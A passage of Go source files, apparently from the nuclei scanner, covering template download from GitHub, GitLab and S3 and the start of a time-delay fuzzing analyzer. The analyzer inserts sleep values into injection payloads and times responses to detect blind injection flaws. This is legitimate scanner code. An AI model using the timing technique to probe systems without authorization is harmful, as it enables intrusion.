customTemplateRepo.reponame+\"-\"+customTemplateRepo.owner)\n\tnewRepoClonePath := customTemplateRepo.getLocalRepoClonePath(customGitHubTemplatesDirectory)\n\n\tif fileutil.FolderExists(oldRepoClonePath) && !fileutil.FolderExists(newRepoClonePath) {\n\t\t_ = folderutil.SyncDirectory(oldRepoClonePath, newRepoClonePath)\n\t}\n}\n\n// getOwnerAndRepo returns the owner, repo, err from the given string\n// e.g., it takes input projectdiscovery/nuclei-templates and\n// returns owner => projectdiscovery, repo => nuclei-templates\nfunc getOwnerAndRepo(reponame string) (owner string, repo string, err error) {\n\ts := strings.Split(reponame, \"/\")\n\tif len(s) != 2 {\n\t\terr = errors.Errorf(\"wrong Repo name: %s\", reponame)\n\t\treturn\n\t}\n\towner = s[0]\n\trepo = s[1]\n\treturn\n}\n\n// returns *github.Repository if passed github repo name\nfunc getGitHubRepo(gitHubClient *github.Client, repoOwner, repoName, githubToken string) (*github.Repository, error) {\n\tvar retried bool\ngetRepo:\n\trepo, _, err := gitHubClient.Repositories.Get(context.Background(), repoOwner, repoName)\n\tif err != nil {\n\t\t// retry with authentication\n\t\tif gitHubClient = getGHClientWithToken(githubToken); gitHubClient != nil && !retried {\n\t\t\tretried = true\n\t\t\tgoto getRepo\n\t\t}\n\t\treturn nil, err\n\t}\n\tif repo == nil {\n\t\treturn nil, errors.Errorf(\"problem getting repository: %s/%s\", repoOwner, repoName)\n\t}\n\treturn repo, nil\n}\n\n// download the git repo to a given path\nfunc (ctr *customTemplateGitHubRepo) cloneRepo(clonePath, githubToken string) error {\n\tcloneOpts := &git.CloneOptions{\n\t\tURL:          ctr.gitCloneURL,\n\t\tAuth:         getAuth(ctr.owner, githubToken),\n\t\tSingleBranch: true,\n\t\tDepth:        1,\n\t}\n\n\terr := cloneOpts.Validate()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr, err := git.PlainClone(clonePath, false, cloneOpts)\n\tif err != nil {\n\t\treturn errors.Errorf(\"%s/%s: %s\", ctr.owner, ctr.reponame, err.Error())\n\t}\n\n\t// Add the user as well in the config. By default, user is not set\n\tconfig, _ := r.Storer.Config()\n\tconfig.User.Name = ctr.owner\n\n\treturn r.SetConfig(config)\n}\n\n// performs the git pull on given repo\nfunc (ctr *customTemplateGitHubRepo) pullChanges(repoPath, githubToken string) error {\n\tpullOpts := &git.PullOptions{\n\t\tRemoteName:   \"origin\",\n\t\tAuth:         getAuth(ctr.owner, githubToken),\n\t\tSingleBranch: true,\n\t\tDepth:        1,\n\t}\n\n\terr := pullOpts.Validate()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr, err := git.PlainOpen(repoPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tw, err := r.Worktree()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = w.Pull(pullOpts)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"%s/%s\", ctr.owner, ctr.reponame)\n\t}\n\n\treturn nil\n}\n\n// All Custom github repos are cloned in the format of 'owner/reponame' for uniqueness\nfunc (ctr *customTemplateGitHubRepo) getLocalRepoClonePath(downloadPath string) string {\n\treturn filepath.Join(downloadPath, ctr.owner, ctr.reponame)\n}\n\n// returns the auth object with username and github token as password\nfunc getAuth(username, password string) *http.BasicAuth {\n\tif username != \"\" && password != \"\" {\n\t\treturn &http.BasicAuth{Username: username, Password: password}\n\t}\n\treturn nil\n}\n\nfunc getGHClientWithToken(token string) *github.Client {\n\tif token != \"\" {\n\t\tctx := context.Background()\n\t\tts := oauth2.StaticTokenSource(\n\t\t\t&oauth2.Token{AccessToken: token},\n\t\t)\n\t\toauthClient := oauth2.NewClient(ctx, ts)\n\t\treturn github.NewClient(oauthClient)\n\n\t}\n\treturn nil\n}\n\nfunc getGHClientIncognito() *github.Client {\n\tvar tc *httpclient.Client\n\treturn github.NewClient(tc)\n}\n"
  },
  {
    "path": "pkg/external/customtemplates/github_test.go",
    "content": "package customtemplates\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDownloadCustomTemplatesFromGitHub(t *testing.T) {\n\t// Capture output to check for rate limit errors\n\toutputBuffer := &bytes.Buffer{}\n\tgologger.DefaultLogger.SetWriter(&utils.CaptureWriter{Buffer: outputBuffer})\n\tgologger.DefaultLogger.SetMaxLevel(levels.LevelDebug)\n\n\ttemplatesDirectory := t.TempDir()\n\tconfig.DefaultConfig.SetTemplatesDir(templatesDirectory)\n\n\toptions := testutils.DefaultOptions\n\toptions.GitHubTemplateRepo = []string{\"projectdiscovery/nuclei-templates-test\"}\n\n\tctm, err := NewCustomTemplatesManager(options)\n\trequire.Nil(t, err, \"could not create custom templates manager\")\n\n\tctm.Download(context.Background())\n\n\t// Check if output contains rate limit error and skip test if so\n\toutput := outputBuffer.String()\n\tif strings.Contains(output, \"API rate limit exceeded\") {\n\t\tt.Skip(\"GitHub API rate limit exceeded, skipping test\")\n\t}\n\n\trequire.DirExists(t, filepath.Join(templatesDirectory, \"github\", \"projectdiscovery\", \"nuclei-templates-test\"), \"cloned directory does not exists\")\n}\n"
  },
  {
    "path": "pkg/external/customtemplates/gitlab.go",
    "content": "package customtemplates\n\nimport (\n\t\"context\"\n\t\"encoding/base64\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nvar _ Provider = &customTemplateGitLabRepo{}\n\ntype customTemplateGitLabRepo struct {\n\tgitLabClient *gitlab.Client\n\tserverURL    string\n\tprojectIDs   []int\n}\n\n// NewGitLabProviders returns a new list of GitLab providers for downloading custom templates\nfunc NewGitLabProviders(options *types.Options) ([]*customTemplateGitLabRepo, error) {\n\tproviders := []*customTemplateGitLabRepo{}\n\tif options.GitLabToken != \"\" && !options.GitLabTemplateDisableDownload {\n\t\t// Establish a connection to GitLab and build a client object with which to download templates from GitLab\n\t\tgitLabClient, err := getGitLabClient(options.GitLabServerURL, options.GitLabToken)\n\t\tif err != nil {\n\t\t\terrx := errkit.FromError(err)\n\t\t\terrx.Msgf(\"Error establishing GitLab client for %s %s\", options.GitLabServerURL, err)\n\t\t\treturn nil, errx\n\t\t}\n\n\t\t// Create a new GitLab service client\n\t\tgitLabContainer := &customTemplateGitLabRepo{\n\t\t\tgitLabClient: gitLabClient,\n\t\t\tserverURL:    options.GitLabServerURL,\n\t\t\tprojectIDs:   options.GitLabTemplateRepositoryIDs,\n\t\t}\n\n\t\t// Add the GitLab service client to the list of custom templates\n\t\tproviders = append(providers, gitLabContainer)\n\t}\n\treturn providers, nil\n}\n\n// Download downloads all .yaml files from a GitLab repository\nfunc (bk *customTemplateGitLabRepo) Download(_ context.Context) {\n\n\t// Define the project and template count\n\tvar projectCount = 0\n\tvar templateCount = 0\n\n\t// Append the GitLab directory to the location\n\tlocation := config.DefaultConfig.CustomGitLabTemplatesDirectory\n\n\t// Ensure the CustomGitLabTemplateDirectory directory exists or create it if it doesn't yet exist\n\terr := os.MkdirAll(filepath.Dir(location), 0755)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error creating directory: %v\", err)\n\t\treturn\n\t}\n\n\t// Get the projects from the GitLab serverURL\n\tfor _, projectID := range bk.projectIDs {\n\n\t\t// Get the project information from the GitLab serverURL to get the default branch and the project name\n\t\tproject, _, err := bk.gitLabClient.Projects.GetProject(projectID, nil)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"error retrieving GitLab project: %s %s\", project, err)\n\t\t\treturn\n\t\t}\n\n\t\t// Add a subdirectory with the project ID as the subdirectory within the location\n\t\tprojectOutputPath := filepath.Join(location, project.Path)\n\n\t\t// Ensure the subdirectory exists or create it if it doesn't yet exist\n\t\terr = os.MkdirAll(projectOutputPath, 0755)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"Error creating subdirectory: %v\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Get the directory listing for the files in the project\n\t\ttree, _, err := bk.gitLabClient.Repositories.ListTree(projectID, &gitlab.ListTreeOptions{\n\t\t\tRef:       gitlab.Ptr(project.DefaultBranch),\n\t\t\tRecursive: gitlab.Ptr(true),\n\t\t})\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"error retrieving files from GitLab project: %s (%d) %s\", project.Name, projectID, err)\n\t\t}\n\n\t\t// Loop through the tree and download the files\n\t\tfor _, file := range tree {\n\t\t\t// If the object is not a file or file extension is not .yaml, skip it\n\t\t\tif file.Type == \"blob\" && filepath.Ext(file.Path) == \".yaml\" {\n\t\t\t\tgf := &gitlab.GetFileOptions{\n\t\t\t\t\tRef: gitlab.Ptr(project.DefaultBranch),\n\t\t\t\t}\n\t\t\t\tf, _, err := bk.gitLabClient.RepositoryFiles.GetFile(projectID, file.Path, gf)\n\t\t\t\tif err != nil {\n\t\t\t\t\tgologger.Error().Msgf(\"error retrieving GitLab project file: %d %s\", projectID, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Decode the file content from base64 into bytes so that it can be written to the local filesystem\n\t\t\t\tcontents, err := base64.StdEncoding.DecodeString(f.Content)\n\t\t\t\tif err != nil {\n\t\t\t\t\tgologger.Error().Msgf(\"error decoding GitLab project (%s) file: %s %s\", project.Name, f.FileName, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Write the downloaded template to the local filesystem at the location with the filename of the blob name\n\t\t\t\terr = os.WriteFile(filepath.Join(projectOutputPath, f.FileName), contents, 0644)\n\t\t\t\tif err != nil {\n\t\t\t\t\tgologger.Error().Msgf(\"error writing GitLab project (%s) file: %s %s\", project.Name, f.FileName, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Increment the number of templates downloaded\n\t\t\t\ttemplateCount++\n\t\t\t}\n\t\t}\n\n\t\t// Increment the number of projects downloaded\n\t\tprojectCount++\n\t\tgologger.Info().Msgf(\"GitLab project '%s' (%d) cloned successfully\", project.Name, projectID)\n\t}\n\n\t// Print the number of projects and templates downloaded\n\tgologger.Info().Msgf(\"%d templates downloaded from %d GitLab project(s) to: %s\", templateCount, projectCount, location)\n}\n\n// Update is a wrapper around Download since it doesn't maintain a diff of the templates downloaded versus in the\n// repository for simplicity.\nfunc (bk *customTemplateGitLabRepo) Update(ctx context.Context) {\n\tif len(bk.projectIDs) == 0 {\n\t\t// No projects to download or update\n\t\treturn\n\t}\n\tbk.Download(ctx)\n}\n\n// getGitLabClient returns a GitLab client for the given serverURL and token\nfunc getGitLabClient(server string, token string) (*gitlab.Client, error) {\n\tclient, err := gitlab.NewClient(token, gitlab.WithBaseURL(server))\n\treturn client, err\n}\n"
  },
  {
    "path": "pkg/external/customtemplates/s3.go",
    "content": "package customtemplates\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/aws/aws-sdk-go-v2/aws\"\n\t\"github.com/aws/aws-sdk-go-v2/config\"\n\t\"github.com/aws/aws-sdk-go-v2/credentials\"\n\t\"github.com/aws/aws-sdk-go-v2/feature/s3/manager\"\n\t\"github.com/aws/aws-sdk-go-v2/service/s3\"\n\t\"github.com/projectdiscovery/gologger\"\n\tnucleiConfig \"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar _ Provider = &customTemplateS3Bucket{}\n\ntype customTemplateS3Bucket struct {\n\ts3Client   *s3.Client\n\tbucketName string\n\tprefix     string\n\tLocation   string\n}\n\n// Download retrieves all custom templates from s3 bucket\nfunc (bk *customTemplateS3Bucket) Download(ctx context.Context) {\n\tdownloadPath := filepath.Join(nucleiConfig.DefaultConfig.CustomS3TemplatesDirectory, bk.bucketName)\n\n\ts3Manager := manager.NewDownloader(bk.s3Client)\n\tpaginator := s3.NewListObjectsV2Paginator(bk.s3Client, &s3.ListObjectsV2Input{\n\t\tBucket: &bk.bucketName,\n\t\tPrefix: &bk.prefix,\n\t})\n\n\tfor paginator.HasMorePages() {\n\t\tpage, err := paginator.NextPage(context.TODO())\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"error downloading s3 bucket %s %s\", bk.bucketName, err)\n\t\t\treturn\n\t\t}\n\t\tfor _, obj := range page.Contents {\n\t\t\tif err := downloadToFile(s3Manager, downloadPath, bk.bucketName, aws.ToString(obj.Key)); err != nil {\n\t\t\t\tgologger.Error().Msgf(\"error downloading s3 bucket %s %s\", bk.bucketName, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\tgologger.Info().Msgf(\"AWS bucket %s was cloned successfully at %s\", bk.bucketName, downloadPath)\n}\n\n// Update downloads custom templates from s3 bucket\nfunc (bk *customTemplateS3Bucket) Update(ctx context.Context) {\n\tbk.Download(ctx)\n}\n\n// NewS3Providers returns a new instances of a s3 providers for downloading custom templates\nfunc NewS3Providers(options *types.Options) ([]*customTemplateS3Bucket, error) {\n\tproviders := []*customTemplateS3Bucket{}\n\tif options.AwsBucketName != \"\" && !options.AwsTemplateDisableDownload {\n\t\ts3c, err := getS3Client(context.TODO(), options.AwsAccessKey, options.AwsSecretKey, options.AwsRegion, options.AwsProfile)\n\t\tif err != nil {\n\t\t\terrx := errkit.FromError(err)\n\t\t\terrx.Msgf(\"error downloading s3 bucket %s\", options.AwsBucketName)\n\t\t\treturn nil, errx\n\t\t}\n\t\tctBucket := &customTemplateS3Bucket{\n\t\t\tbucketName: options.AwsBucketName,\n\t\t\ts3Client:   s3c,\n\t\t}\n\t\tif strings.Contains(options.AwsBucketName, \"/\") {\n\t\t\tbPath := strings.SplitN(options.AwsBucketName, \"/\", 2)\n\t\t\tctBucket.bucketName = bPath[0]\n\t\t\tctBucket.prefix = bPath[1]\n\t\t}\n\t\tproviders = append(providers, ctBucket)\n\t}\n\treturn providers, nil\n}\n\nfunc downloadToFile(downloader *manager.Downloader, targetDirectory, bucket, key string) error {\n\t// Create the directories in the path\n\tfile := filepath.Join(targetDirectory, key)\n\t// If empty dir in s3\n\tif stringsutil.HasSuffixI(key, \"/\") {\n\t\treturn os.MkdirAll(file, 0775)\n\t}\n\tif err := os.MkdirAll(filepath.Dir(file), 0775); err != nil {\n\t\treturn err\n\t}\n\n\t// Set up the local file\n\tfd, err := os.Create(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = fd.Close()\n\t}()\n\n\t// Download the file using the AWS SDK for Go\n\t_, err = downloader.Download(context.TODO(), fd, &s3.GetObjectInput{Bucket: &bucket, Key: &key})\n\n\treturn err\n}\n\nfunc getS3Client(ctx context.Context, accessKey string, secretKey string, region string, profile string) (*s3.Client, error) {\n\tvar cfg aws.Config\n\tvar err error\n\tif profile != \"\" {\n\t\tcfg, err = config.LoadDefaultConfig(ctx, config.WithSharedConfigProfile(profile))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if accessKey != \"\" && secretKey != \"\" {\n\t\tcfg, err = config.LoadDefaultConfig(ctx, config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(accessKey, secretKey, \"\")), config.WithRegion(region))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tcfg, err = config.LoadDefaultConfig(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn s3.NewFromConfig(cfg), nil\n}\n"
  },
  {
    "path": "pkg/external/customtemplates/templates_provider.go",
    "content": "package customtemplates\n\nimport (\n\t\"context\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\ntype Provider interface {\n\tDownload(ctx context.Context)\n\tUpdate(ctx context.Context)\n}\n\n// CustomTemplatesManager is a manager for custom templates\ntype CustomTemplatesManager struct {\n\tproviders []Provider\n}\n\n// Download downloads the custom templates\nfunc (c *CustomTemplatesManager) Download(ctx context.Context) {\n\tfor _, provider := range c.providers {\n\t\tprovider.Download(ctx)\n\t}\n}\n\n// Update updates the custom templates\nfunc (c *CustomTemplatesManager) Update(ctx context.Context) {\n\tfor _, provider := range c.providers {\n\t\tprovider.Update(ctx)\n\t}\n}\n\n// NewCustomTemplatesManager returns a new instance of a custom templates manager\nfunc NewCustomTemplatesManager(options *types.Options) (*CustomTemplatesManager, error) {\n\tctm := &CustomTemplatesManager{providers: []Provider{}}\n\n\t// Add GitHub providers\n\tgithubProviders, err := NewGitHubProviders(options)\n\tif err != nil {\n\t\terrx := errkit.FromError(err)\n\t\terrx.Msgf(\"could not create github providers for custom templates\")\n\t\treturn nil, errx\n\t}\n\tfor _, v := range githubProviders {\n\t\tctm.providers = append(ctm.providers, v)\n\t}\n\n\t// Add AWS S3 providers\n\ts3Providers, err := NewS3Providers(options)\n\tif err != nil {\n\t\terrx := errkit.FromError(err)\n\t\terrx.Msgf(\"could not create s3 providers for custom templates\")\n\t\treturn nil, errx\n\t}\n\tfor _, v := range s3Providers {\n\t\tctm.providers = append(ctm.providers, v)\n\t}\n\n\t// Add Azure providers\n\tazureProviders, err := NewAzureProviders(options)\n\tif err != nil {\n\t\terrx := errkit.FromError(err)\n\t\terrx.Msgf(\"could not create azure providers for custom templates\")\n\t\treturn nil, errx\n\t}\n\tfor _, v := range azureProviders {\n\t\tctm.providers = append(ctm.providers, v)\n\t}\n\n\t// Add GitLab providers\n\tgitlabProviders, err := NewGitLabProviders(options)\n\tif err != nil {\n\t\terrx := errkit.FromError(err)\n\t\terrx.Msgf(\"could not create gitlab providers for custom templates\")\n\t\treturn nil, errx\n\t}\n\tfor _, v := range gitlabProviders {\n\t\tctm.providers = append(ctm.providers, v)\n\t}\n\n\treturn ctm, nil\n}\n"
  },
  {
    "path": "pkg/fuzz/analyzers/analyzers.go",
    "content": "package analyzers\n\nimport (\n\t\"math/rand\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Analyzer is an interface for all the analyzers\n// that can be used for the fuzzer\ntype Analyzer interface {\n\t// Name returns the name of the analyzer\n\tName() string\n\t// ApplyTransformation applies the transformation to the initial payload.\n\tApplyInitialTransformation(data string, params map[string]interface{}) string\n\t// Analyze is the main function for the analyzer\n\tAnalyze(options *Options) (bool, string, error)\n}\n\n// AnalyzerTemplate is the template for the analyzer\ntype AnalyzerTemplate struct {\n\t// description: |\n\t//   Name is the name of the analyzer to use\n\t// values:\n\t//   - time_delay\n\tName string `json:\"name\" yaml:\"name\"`\n\t// description: |\n\t//   Parameters is the parameters for the analyzer\n\t//\n\t//   Parameters are different for each analyzer. For example, you can customize\n\t//   time_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer\n\t//   to the docs for each analyzer to get an idea about parameters.\n\tParameters map[string]interface{} `json:\"parameters\" yaml:\"parameters\"`\n}\n\nvar (\n\tanalyzers map[string]Analyzer\n)\n\n// RegisterAnalyzer registers a new analyzer\nfunc RegisterAnalyzer(name string, analyzer Analyzer) {\n\tanalyzers[name] = analyzer\n}\n\n// GetAnalyzer returns the analyzer for a given name\nfunc GetAnalyzer(name string) Analyzer {\n\treturn analyzers[name]\n}\n\nfunc init() {\n\tanalyzers = make(map[string]Analyzer)\n}\n\n// Options contains the options for the analyzer\ntype Options struct {\n\tFuzzGenerated      fuzz.GeneratedRequest\n\tHttpClient         *retryablehttp.Client\n\tResponseTimeDelay  time.Duration\n\tAnalyzerParameters map[string]interface{}\n}\n\nvar (\n\trandom = rand.New(rand.NewSource(time.Now().UnixNano()))\n)\n\n// ApplyPayloadTransformations applies the payload transformations to the payload\n// It supports the below payloads -\n//   - [RANDNUM] => random number between 1000 and 9999\n//   - [RANDSTR] => random string of 4 characters\nfunc ApplyPayloadTransformations(value string) string {\n\trandomInt := GetRandomInteger()\n\trandomStr := randStringBytesMask(4)\n\n\tvalue = strings.ReplaceAll(value, \"[RANDNUM]\", strconv.Itoa(randomInt))\n\tvalue = strings.ReplaceAll(value, \"[RANDSTR]\", randomStr)\n\treturn value\n}\n\nconst letterBytes = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\nfunc randStringBytesMask(n int) string {\n\tb := make([]byte, n)\n\tfor i := range b {\n\t\tb[i] = letterBytes[random.Intn(len(letterBytes))]\n\t}\n\treturn string(b)\n}\n\n// GetRandomInteger returns a random integer between 1000 and 9999\nfunc GetRandomInteger() int {\n\treturn random.Intn(9000) + 1000\n}\n"
  },
  {
    "path": "pkg/fuzz/analyzers/time/analyzer.go",
    "content": "package time\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http/httptrace\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Analyzer is a time delay analyzer for the fuzzer\ntype Analyzer struct {\n}\n\nconst (\n\tDefaultSleepDuration             = int(7)\n\tDefaultRequestsLimit             = int(4)\n\tDefaultTimeCorrelationErrorRange = float64(0.15)\n\tDefaultTimeSlopeErrorRange       = float64(0.30)\n\tDefaultLowSleepTimeSeconds       = float64(3)\n\n\tdefaultSleepTimeDuration = 7 * time.Second\n)\n\nvar _ analyzers.Analyzer = &Analyzer{}\n\nfunc init() {\n\tanalyzers.RegisterAnalyzer(\"time_delay\", &Analyzer{})\n}\n\n// Name is the name of the analyzer\nfunc (a *Analyzer) Name() string {\n\treturn \"time_delay\"\n}\n\n// ApplyInitialTransformation applies the transformation to the initial payload.\n//\n// It supports the below payloads -\n//   - [SLEEPTIME] => sleep_duration\n//   - [INFERENCE] => Inference payload for time delay analyzer\n//\n// It also applies the payload transformations to the payload\n// which includes [RANDNUM] and [RANDSTR]\nfunc (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {\n\tduration := DefaultSleepDuration\n\tif len(params) > 0 {\n\t\tif v, ok := params[\"sleep_duration\"]; ok {\n\t\t\tduration, ok = v.(int)\n\t\t\tif !ok {\n\t\t\t\tduration = DefaultSleepDuration\n\t\t\t\tgologger.Warning().Msgf(\"Invalid sleep_duration parameter type, using default value: %d\", duration)\n\t\t\t}\n\t\t}\n\t}\n\tdata = strings.ReplaceAll(data, \"[SLEEPTIME]\", strconv.Itoa(duration))\n\tdata = analyzers.ApplyPayloadTransformations(data)\n\n\t// Also support [INFERENCE] for the time delay analyzer\n\tif strings.Contains(data, \"[INFERENCE]\") {\n\t\trandInt := analyzers.GetRandomInteger()\n\t\tdata = strings.ReplaceAll(data, \"[INFERENCE]\", fmt.Sprintf(\"%d=%d\", randInt, randInt))\n\t}\n\treturn data\n}\n\nfunc (a *Analyzer) parseAnalyzerParameters(params map[string]interface{}) (int, int, float64, float64, error) {\n\trequestsLimit := DefaultRequestsLimit\n\tsleepDuration := DefaultSleepDuration\n\ttimeCorrelationErrorRange := DefaultTimeCorrelationErrorRange\n\ttimeSlopeErrorRange := DefaultTimeSlopeErrorRange\n\n\tif len(params) == 0 {\n\t\treturn requestsLimit, sleepDuration, timeCorrelationErrorRange, timeSlopeErrorRange, nil\n\t}\n\tvar ok bool\n\tfor k, v := range params {\n\t\tswitch k {\n\t\tcase \"sleep_duration\":\n\t\t\tsleepDuration, ok = v.(int)\n\t\tcase \"requests_limit\":\n\t\t\trequestsLimit, ok = v.(int)\n\t\tcase \"time_correlation_error_range\":\n\t\t\ttimeCorrelationErrorRange, ok = v.(float64)\n\t\tcase \"time_slope_error_range\":\n\t\t\ttimeSlopeErrorRange, ok = v.(float64)\n\t\t}\n\t\tif !ok {\n\t\t\treturn 0, 0, 0, 0, errors.Errorf(\"invalid parameter type for %s\", k)\n\t\t}\n\t}\n\treturn requestsLimit, sleepDuration, timeCorrelationErrorRange, timeSlopeErrorRange, nil\n}\n\n// Analyze is the main function for the analyzer\nfunc (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {\n\tif options.ResponseTimeDelay < defaultSleepTimeDuration {\n\t\treturn false, \"\", nil\n\t}\n\n\t// Parse parameters for this analyzer if any or use default values\n\trequestsLimit, sleepDuration, timeCorrelationErrorRange, timeSlopeErrorRange, err :=\n\t\ta.parseAnalyzerParameters(options.AnalyzerParameters)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\n\treqSender := func(delay int) (float64, error) {\n\t\tgr := options.FuzzGenerated\n\t\treplaced := strings.ReplaceAll(gr.OriginalPayload, \"[SLEEPTIME]\", strconv.Itoa(delay))\n\t\treplaced = a.ApplyInitialTransformation(replaced, options.AnalyzerParameters)\n\n\t\tif err := gr.Component.SetValue(gr.Key, replaced); err != nil {\n\t\t\treturn 0, errors.Wrap(err, \"could not set value in component\")\n\t\t}\n\n\t\trebuilt, err := gr.Component.Rebuild()\n\t\tif err != nil {\n\t\t\treturn 0, errors.Wrap(err, \"could not rebuild request\")\n\t\t}\n\t\tgologger.Verbose().Msgf(\"[%s] Sending request with %d delay for: %s\", a.Name(), delay, rebuilt.String())\n\n\t\ttimeTaken, err := doHTTPRequestWithTimeTracing(rebuilt, options.HttpClient)\n\t\tif err != nil {\n\t\t\treturn 0, errors.Wrap(err, \"could not do request with time tracing\")\n\t\t}\n\t\treturn timeTaken, nil\n\t}\n\n\t// Check the baseline delay of the request by doing two requests\n\tbaselineDelay, err := getBaselineDelay(reqSender)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\n\tmatched, matchReason, err := checkTimingDependency(\n\t\trequestsLimit,\n\t\tsleepDuration,\n\t\ttimeCorrelationErrorRange,\n\t\ttimeSlopeErrorRange,\n\t\tbaselineDelay,\n\t\treqSender,\n\t)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\tif matched {\n\t\treturn true, matchReason, nil\n\t}\n\treturn false, \"\", nil\n}\n\nfunc getBaselineDelay(reqSender timeDelayRequestSender) (float64, error) {\n\tvar delays []float64\n\t// Use zero or a very small delay to measure baseline\n\tfor i := 0; i < 3; i++ {\n\t\tdelay, err := reqSender(0)\n\t\tif err != nil {\n\t\t\treturn 0, errors.Wrap(err, \"could not get baseline delay\")\n\t\t}\n\t\tdelays = append(delays, delay)\n\t}\n\n\tvar total float64\n\tfor _, d := range delays {\n\t\ttotal += d\n\t}\n\tavg := total / float64(len(delays))\n\treturn avg, nil\n}\n\n// doHTTPRequestWithTimeTracing does a http request with time tracing\nfunc doHTTPRequestWithTimeTracing(req *retryablehttp.Request, httpclient *retryablehttp.Client) (float64, error) {\n\tvar serverTime time.Duration\n\tvar wroteRequest time.Time\n\n\ttrace := &httptrace.ClientTrace{\n\t\tWroteHeaders: func() {\n\t\t\twroteRequest = time.Now()\n\t\t},\n\t\tGotFirstResponseByte: func() {\n\t\t\tserverTime = time.Since(wroteRequest)\n\t\t},\n\t}\n\treq = req.WithContext(httptrace.WithClientTrace(req.Context(), trace))\n\tresp, err := httpclient.Do(req)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"could not do request\")\n\t}\n\n\t_, err = io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"could not read response body\")\n\t}\n\treturn serverTime.Seconds(), nil\n}\n"
  },
  {
    "path": "pkg/fuzz/analyzers/time/time_delay.go",
    "content": "// Package time implements a time delay analyzer using linear\n// regression heuristics inspired from ZAP to discover time\n// based issues.\n//\n// The approach is the one used in ZAP for timing based checks.\n// Advantages of this approach are many compared to the old approach of\n// heuristics of sleep time.\n//\n// NOTE: This algorithm has been heavily modified after being introduced\n// in nuclei. Now the logic has sever bug fixes and improvements and\n// has been evolving to be more stable.\n//\n// As we are building a statistical model, we can predict if the delay\n// is random or not very quickly. Also, the payloads are alternated to send\n// a very high sleep and a very low sleep. This way the comparison is\n// faster to eliminate negative cases. Only legitimate cases are sent for\n// more verification.\n//\n// For more details on the algorithm, follow the links below:\n// - https://groups.google.com/g/zaproxy-develop/c/KGSkNHlLtqk\n// - https://github.com/zaproxy/zap-extensions/pull/5053\n//\n// This file has been implemented from its original version. It was originally licensed under the Apache License 2.0 (see LICENSE file for details).\n// The original algorithm is implemented in ZAP Active Scanner.\npackage time\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"strings\"\n)\n\ntype timeDelayRequestSender func(delay int) (float64, error)\n\n// requestsSentMetadata is used to store the delay requested\n// and delay received for each request\ntype requestsSentMetadata struct {\n\tdelay         int\n\tdelayReceived float64\n}\n\n// checkTimingDependency checks the timing dependency for a given request\n//\n// It alternates and sends first a high request, then a low request. Each time\n// it checks if the delay of the application can be predictably controlled.\nfunc checkTimingDependency(\n\trequestsLimit int,\n\thighSleepTimeSeconds int,\n\tcorrelationErrorRange float64,\n\tslopeErrorRange float64,\n\tbaselineDelay float64,\n\trequestSender timeDelayRequestSender,\n) (bool, string, error) {\n\tif requestsLimit < 